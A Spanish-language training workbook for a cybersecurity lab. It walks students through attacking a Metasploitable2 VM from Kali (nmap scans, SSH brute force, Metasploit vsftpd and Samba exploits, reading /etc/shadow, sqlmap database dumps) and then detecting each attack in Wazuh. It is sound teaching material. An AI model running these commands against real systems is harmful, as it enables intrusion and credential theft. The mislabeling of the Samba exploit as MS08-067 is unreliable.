LABORATORIO DE CIBERSEGURIDAD

Cuaderno de Prácticas de Ataque y Detección

Kali Linux → Metasploitable2 | Detección con Wazuh

Módulo MF0488_3 / MF0487_3	**Nivel** Certificado de Profesionalidad
Herramienta atacante Kali Linux (192.168.99.100)	**Herramienta SIEM** Wazuh 4.14 (192.168.99.20)
Máquina víctima Metasploitable2 (10.1.99.109)	**Firewall** OPNsense 26.1 con Suricata

ADVERTENCIA LEGAL: Este laboratorio es de uso exclusivo para formación. Los ataques realizados son contra máquinas virtuales controladas y aisladas. Queda terminantemente prohibido utilizar estas técnicas contra sistemas reales sin autorización expresa.

1. INTRODUCCIÓN Y ARQUITECTURA DEL LABORATORIO

Este cuaderno de prácticas guía al alumno a través de distintos tipos de ataques cibernéticos reales ejecutados desde Kali Linux contra la máquina víctima Metasploitable2, y cómo detectar, analizar e investigar dichos ataques mediante el SIEM Wazuh.

Arquitectura del laboratorio

Máquina	IP	Rol	Red
Kali Linux	192.168.99.100	Atacante	LAN (vmbr1)
Wazuh 4.14	192.168.99.20	SIEM / Detección	LAN (vmbr1)
OPNsense 26.1	192.168.99.1 / 10.1.99.1	Firewall / Router	LAN + DMZ
Metasploitable2	10.1.99.109	Víctima	DMZ (vmbr2)

⚠ Acceso al laboratorio

Wazuh Dashboard: https://wazuh.juanprofesor.com | Guacamole (acceso a VMs): https://guacamole.juanprofesor.com/guacamole

Cómo acceder a Wazuh para investigar alertas

1. Abre https://wazuh.juanprofesor.com en tu navegador
2. Inicia sesión con las credenciales proporcionadas por el instructor
3. Ve a Explore → Discover para buscar eventos en tiempo real
4. Filtra por location: 10.1.99.109 para ver eventos de Metasploitable2
5. Usa el rango de tiempo 'Last 1 hour' para ver los ataques recientes

2. PRÁCTICA 1 — RECONOCIMIENTO CON NMAP

Información de la práctica

Técnica MITRE ATT&CK: T1046 - Network Service Discovery | Nivel de alerta Wazuh: Bajo (1-5) | Duración estimada: 20 minutos

2.1 Objetivos

- Comprender cómo funciona el escaneo de puertos con Nmap
- Identificar los servicios vulnerables de Metasploitable2
- Localizar las alertas generadas en Wazuh

2.2 Contexto teórico

El reconocimiento es la primera fase de cualquier ataque. El atacante busca información sobre el objetivo: qué puertos están abiertos, qué servicios corren y qué versiones tienen. Nmap (Network Mapper) es la herramienta más utilizada para este propósito.

2.3 Ejecución del ataque — desde Kali

Paso 1: Escaneo básico de puertos

Ejecuta un escaneo básico para descubrir puertos abiertos:

```
nmap 10.1.99.109
```

Paso 2: Escaneo con detección de versiones

Añade detección de versiones de servicios:

```
nmap -sV 10.1.99.109
```

Paso 3: Escaneo agresivo con scripts

Escaneo completo con scripts de detección del sistema operativo:

```
nmap -A -T4 10.1.99.109
```

Paso 4: Escaneo de vulnerabilidades

Ejecuta scripts de detección de vulnerabilidades conocidas:

```
nmap --script=vuln 10.1.99.109
```

2.4 Detección en Wazuh

Accede al dashboard de Wazuh y busca las alertas generadas por el escaneo:

6. Ve a Explore → Discover
7. Filtra: location: 10.1.99.109
8. Busca reglas con descripción que contenga 'scan' o 'port'

Regla Wazuh	Descripción	Nivel	Categoría MITRE
100101	Múltiples conexiones TCP desde mismo origen	4	T1046
1002	Escaneo de puertos detectado por syslog	3	T1046
2501	Conexión rechazada múltiple	4	T1046

2.5 Preguntas de análisis

9. ¿Cuántos puertos abiertos tiene Metasploitable2? Lístallos.
10. ¿Qué versión de SSH está corriendo? ¿Es una versión segura?
11. ¿Qué servicios web encontró Nmap? ¿En qué puertos?
12. ¿Aparecen alertas en Wazuh por el escaneo? ¿De qué tipo?
13. ¿Qué vulnerabilidades detectó el script --script=vuln?

Espacio para respuestas

Anota aquí tus observaciones:

3. PRÁCTICA 2 — ATAQUE DE FUERZA BRUTA SSH

Información de la práctica

Técnica MITRE ATT&CK: T1110 - Brute Force | Nivel de alerta Wazuh: Alto (10) | Duración estimada: 30 minutos

3.1 Objetivos

- Comprender cómo funciona un ataque de fuerza bruta contra SSH
- Observar cómo Wazuh detecta y clasifica el ataque con MITRE ATT&CK
- Analizar los logs de autenticación fallida

3.2 Contexto teórico

Un ataque de fuerza bruta consiste en probar sistemáticamente todas las combinaciones posibles de contraseñas hasta encontrar la correcta. SSH (Secure Shell) es un objetivo común ya que permite acceso remoto al sistema. Las credenciales por defecto de Metasploitable2 son msfadmin/msfadmin.

3.3 Ejecución del ataque — desde Kali

Paso 1: Verificar que SSH está disponible

```
nmap -p 22 10.1.99.109
```

Paso 2: Ataque de fuerza bruta con ncrack

Usa ncrack para realizar el ataque de fuerza bruta:

```
ncrack -p 22 --user root -P /usr/share/wordlists/rockyou.txt 10.1.99.109 -T
3
```

Paso 3: Prueba con usuarios comunes

Prueba también con una lista de usuarios frecuentes:

```
ncrack -p 22 -U /usr/share/metasploit-
framework/data/wordlists/unix_users.txt -P /usr/share/wordlists/rockyou.txt
10.1.99.109
```

Paso 4: Verificar acceso obtenido

Si encuentra credenciales, conéctate al sistema:

```
ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -oHostKeyAlgorithms=+ssh-
rsa msfadmin@10.1.99.109
```

3.4 Detección en Wazuh

Regla Wazuh	Descripción	Nivel	MITRE
2502	User missed the password more than one time	10	T1110
2503	Possible attack on the ssh server (many authentication failures)	10	T1110
5551	Multiple authentication failures	10	T1110
5763	SSHD brute force trying to get access to the system	10	T1110

En Wazuh, busca las alertas de fuerza bruta:

14. Ve a Explore → Discover
15. Filtra: rule.mitre.id: T1110
16. Observa el campo rule.firedtimes para ver cuántas veces se disparó
17. Revisa full_log para ver los intentos de autenticación

3.5 Preguntas de análisis

18. ¿Cuántos intentos de autenticación fallida aparecen en Wazuh?
19. ¿A qué hora comenzó el ataque? ¿A qué hora terminó?
20. ¿Qué usuarios probó el atacante?
21. ¿En qué categoría MITRE ATT&CK se clasifica este ataque?
22. ¿Qué medidas de mitigación se podrían aplicar para evitar este ataque?

Espacio para respuestas

Anota aquí tus observaciones:

4. PRÁCTICA 3 — EXPLOTACIÓN CON METASPLOIT

Información de la práctica

Técnica MITRE ATT&CK: T1210 - Exploitation of Remote Services | Nivel de alerta Wazuh: Crítico (12-15) | Duración estimada: 45 minutos

4.1 Objetivos

- Explotar una vulnerabilidad real de Metasploitable2 con Metasploit Framework
- Obtener una shell remota en la máquina víctima
- Detectar el ataque y la conexión reversa en Wazuh

4.2 Contexto teórico

Metasploit Framework es el conjunto de herramientas de explotación más utilizado en pentesting profesional. Permite explotar vulnerabilidades conocidas de forma automatizada. Metasploitable2 contiene vulnerabilidades intencionadas que sirven para practicar.

4.3 Explotación de vsftpd 2.3.4 — Backdoor

Metasploitable2 incluye una versión troyanizada de vsftpd con una backdoor. Esta es una de las vulnerabilidades más conocidas para practicar:

Paso 1: Iniciar Metasploit

```
msfconsole -q
```

Paso 2: Buscar el exploit

```
search vsftpd
```

Paso 3: Cargar el módulo

```
use exploit/unix/ftp/vsftpd_234_backdoor
```

Paso 4: Configurar el objetivo

```
set RHOSTS 10.1.99.109
set RPORT 21
```

Paso 5: Ejecutar el exploit

```
run
```

Si el exploit tiene éxito, obtendrás una shell de sistema. Ejecuta algunos comandos para generar eventos:

```
id
whoami
cat /etc/passwd
cat /etc/shadow
```

4.4 Explotación de Samba — MS08-067

Paso 1: Buscar exploit de Samba

```
use exploit/multi/samba/usermap_script
set RHOSTS 10.1.99.109
set PAYLOADS cmd/unix/interact
run
```

4.5 Detección en Wazuh

Los ataques de vsftpd backdoor y Samba usermap_script tienen una particularidad importante: en condiciones normales, Wazuh NO los detecta via syslog. A continuación se explica por qué y cómo mejorar la visibilidad.

Ataque	Por qué Wazuh no lo detecta via syslog
vsftpd 2.3.4 Backdoor	El exploit activa una backdoor en el puerto 6200, sin pasar por autenticacion normal. vsftpd no escribe ningun evento en auth.log ni syslog. La conexion abre una shell directamente sin dejar rastro en los logs estandar del sistema.
Samba usermap_script	Explota el procesamiento de nombres de usuario en Samba. Ejecuta comandos directamente sin generar evento de autenticacion. Samba en Ubuntu 8.04 no envia estos eventos a syslog por defecto.

Leccion importante — Visibilidad del SIEM

La visibilidad de un SIEM depende directamente de las fuentes de datos que tenga configuradas. Sin agente en el endpoint o sin un IDS de red, hay ataques que pasan completamente desapercibidos.

Metodo de deteccion	Que detectaria	Disponible en el lab
Wazuh + syslog	Solo eventos que pasan por syslog: fuerza bruta, logins fallidos. NO detecta exploits sin autenticacion.	Si (limitado)
Suricata en OPNsense	Firmas de red de vsftpd backdoor y Samba. Detecta el trafico del exploit independientemente de los logs del sistema.	Pendiente de configurar

Agente Wazuh en victima	Conexiones de red, procesos nuevos, acceso a ficheros, cambios en el sistema. Visibilidad completa del endpoint.	No compatible con Ubuntu 8.04
Security Onion	Captura completa de red. Zeek y Suricata generan alertas. Visibilidad maxima de todos los ataques.	Pendiente de instalar

Regla Wazuh	Descripción	Nivel	MITRE
100200	Conexión de red sospechosa desde proceso del sistema	12	T1210
5501	Login remoto exitoso tras múltiples fallos	12	T1078
100301	Acceso a fichero sensible /etc/shadow	14	T1003
100302	Ejecución de comando de enumeración del sistema	10	T1082

23. En Wazuh ve a Threat Intelligence → MITRE ATT&CK
24. Busca técnicas T1210 (Exploitation) y T1003 (Credential Dumping)
25. Revisa los eventos en el timeline de la intrusión

4.6 Preguntas de análisis

26. ¿Qué versión de vsftpd tiene la vulnerabilidad backdoor?
27. ¿Qué usuario obtuviste con la shell? ¿Tiene privilegios de root?
28. ¿Aparecen alertas en Wazuh por el acceso a /etc/shadow?
29. ¿Qué técnicas MITRE ATT&CK se activaron durante la explotación?
30. ¿Cómo se podría haber mitigado esta vulnerabilidad?

Espacio para respuestas

Anota aquí tus observaciones:

5. PRÁCTICA 4 — ATAQUES A APLICACIONES WEB

Información de la práctica

Técnica MITRE ATT&CK: T1190 - Exploit Public-Facing Application | Nivel de alerta Wazuh: Alto (8-12) | Duración estimada: 40 minutos

5.1 Objetivos

- Identificar aplicaciones web vulnerables en Metasploitable2
- Explotar vulnerabilidades de inyección SQL con sqlmap
- Realizar un ataque de Path Traversal manualmente
- Detectar los ataques web en Wazuh

5.2 Servicios web en Metasploitable2

Metasploitable2 incluye varios servicios web vulnerables accesibles en el puerto 80. Accede desde Kali:

```
firefox http://10.1.99.109
```

Aplicación	URL	Vulnerabilidades conocidas
DVWA	http://10.1.99.109/dvwa	SQLi, XSS, Command Injection, File Upload
Mutillidae	http://10.1.99.109/mutillidae	OWASP Top 10 completo
WebDAV	http://10.1.99.109/dav	Subida de archivos sin autenticación
phpMyAdmin	http://10.1.99.109/phpmyadmin	Credenciales por defecto

5.3 Inyección SQL con sqlmap

Paso 1: Identificar parámetros inyectables

Accede a DVWA y activa el nivel de seguridad 'Low'. Ve a SQL Injection y copia la URL con el parámetro id.

Paso 2: Ejecutar sqlmap

```
sqlmap -u
'http://10.1.99.109/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit' --
cookie='PHPSESSID=TU_SESSION;security=low' --dbs
```

Paso 3: Extraer tablas

```
sqlmap -u
'http://10.1.99.109/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit' --
cookie='PHPSESSID=TU_SESSION;security=low' -D dvwa --tables
```

Paso 4: Extraer usuarios

```
sqlmap -u
'http://10.1.99.109/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit' --
cookie='PHPSESSID=TU_SESSION;security=low' -D dvwa -T users --dump
```

5.4 Escaneo web con Nikto

Nikto realiza un análisis automático de vulnerabilidades web:

```
nikto -h http://10.1.99.109
```

5.5 Detección en Wazuh

Los ataques web generan logs en el servidor Apache que Wazuh analiza via syslog:

31. Ve a Explore → Discover
32. Filtra por: location: 10.1.99.109
33. Busca reglas con grupos: web, attack, sql_injection

Regla Wazuh	Descripción	Nivel	MITRE
31101	Web attack: SQL Injection	10	T1190
31106	Web attack: Directory traversal	10	T1083
31151	Nikto web server scanner detected	8	T1190
31165	Possible web attack (malformed header)	8	T1190

5.6 Preguntas de análisis

34. ¿Cuántas bases de datos encontró sqlmap?
35. ¿Qué usuarios y contraseñas extrajo de la base de datos?
36. ¿Qué vulnerabilidades críticas detectó Nikto?
37. ¿Aparecen alertas de SQL injection en Wazuh?
38. ¿Qué cabeceras HTTP sospechosas envía sqlmap que Wazuh puede detectar?

Espacio para respuestas

Anota aquí tus observaciones:

6. PRÁCTICA 5 — ANÁLISIS FORENSE DE INCIDENTE

Información de la práctica

Esta práctica se realiza DESPUÉS de los ataques anteriores. El objetivo es reconstruir el incidente completo usando Wazuh como fuente de evidencias.

6.1 Objetivos

- Reconstruir la línea de tiempo del ataque usando Wazuh
- Identificar el origen del ataque
- Documentar las técnicas MITRE ATT&CK utilizadas
- Elaborar un informe de incidente básico

6.2 Investigación en Wazuh

Paso 1: Vista general de alertas

Ve al dashboard principal de Wazuh y anota el número de alertas por severidad en las últimas 24 horas:

Severidad	Rango de nivel	Número de alertas (anota aquí)
Crítica	Nivel 15+	
Alta	Nivel 12-14	
Media	Nivel 7-11	
Baja	Nivel 0-6	

Paso 2: Timeline del ataque

En Explore → Discover, ordena por timestamp y reconstruye la secuencia de eventos:

Hora	Evento	Regla	Técnica MITRE
__:__			
__:__			
__:__			
__:__			
__:__			

Paso 3: Análisis MITRE ATT&CK

Ve a Threat Intelligence → MITRE ATT&CK en Wazuh y documenta las técnicas detectadas:

Táctica	Técnica	Descripción
Reconnaissance	T1046	Network Service Discovery
Credential Access	T1110	Brute Force
Initial Access	T1190	Exploit Public-Facing Application
Execution	T1210	Exploitation of Remote Services
Discovery	T1082	System Information Discovery

6.3 Informe de incidente

Rellena el siguiente informe básico de incidente de seguridad:

Campo	Valor
Fecha y hora del incidente	
IP del atacante	
IP de la víctima	
Primer evento detectado	
Último evento detectado	
Técnicas MITRE utilizadas	
Datos comprometidos	
Recomendaciones	

7. REFERENCIA RÁPIDA DE COMANDOS

7.1 Comandos Nmap

Comando	Descripción
nmap 10.1.99.109	Escaneo básico de puertos TCP
nmap -sV 10.1.99.109	Detección de versiones de servicios
nmap -A -T4 10.1.99.109	Escaneo agresivo con SO y scripts
nmap -p 1-65535 10.1.99.109	Escaneo de todos los puertos
nmap --script=vuln 10.1.99.109	Escaneo de vulnerabilidades
nmap -sU 10.1.99.109	Escaneo de puertos UDP

7.2 Comandos de fuerza bruta

Comando	Descripción
ncrack -p 22 --user root -P rockyou.txt 10.1.99.109	Fuerza bruta SSH con ncrack
hydra -l root -P rockyou.txt ssh://10.1.99.109	Fuerza bruta SSH con Hydra
medusa -h 10.1.99.109 -u root -P rockyou.txt -M ssh	Fuerza bruta SSH con Medusa
ncrack -p 21 --user root -P rockyou.txt 10.1.99.109	Fuerza bruta FTP
ncrack -p 3306 --user root -P rockyou.txt 10.1.99.109	Fuerza bruta MySQL

7.3 Módulos Metasploit útiles

Módulo	Descripción
exploit/unix/ftp/vsftpd_234_backdoor	Backdoor en vsftpd 2.3.4
exploit/multi/samba/usermap_script	Explotación de Samba
exploit/unix/misc/distcc_exec	Ejecución remota via distcc
auxiliary/scanner/ssh/ssh_login	Fuerza bruta SSH en Metasploit
auxiliary/scanner/smb/smb_ms17_010	Detección de EternalBlue
post/linux/gather/hashdump	Extracción de hashes de contraseñas

7.4 Búsquedas útiles en Wazuh

Filtro Wazuh	Qué muestra
location: 10.1.99.109	Todos los eventos de Metasploitable2
rule.mitre.id: T1110	Alertas de fuerza bruta
rule.mitre.id: T1046	Alertas de escaneo de red
rule.mitre.id: T1190	Explotación de aplicaciones web
rule.level: [10 TO 15]	Solo alertas de nivel alto/crítico
rule.groups: authentication_failed	Fallos de autenticación
rule.groups: syslog AND rule.level: [8 TO *]	Alertas altas via syslog

8. CRITERIOS DE EVALUACIÓN

Criterio	Puntuación	Descripción
Ejecución de ataques	20%	Demuestra que ha ejecutado correctamente los ataques
Identificación de alertas	25%	Localiza y documenta las alertas en Wazuh
Clasificación MITRE	20%	Identifica correctamente las técnicas MITRE ATT&CK
Timeline del incidente	15%	Reconstruye la secuencia correcta de eventos
Informe de incidente	20%	Completa el informe con datos reales de Wazuh

ℹ Notas finales

Todos los ataques se realizan EXCLUSIVAMENTE contra Metasploitable2 (10.1.99.109). Está prohibido atacar cualquier otra máquina. El instructor puede verificar los ataques realizados revisando los logs de Wazuh.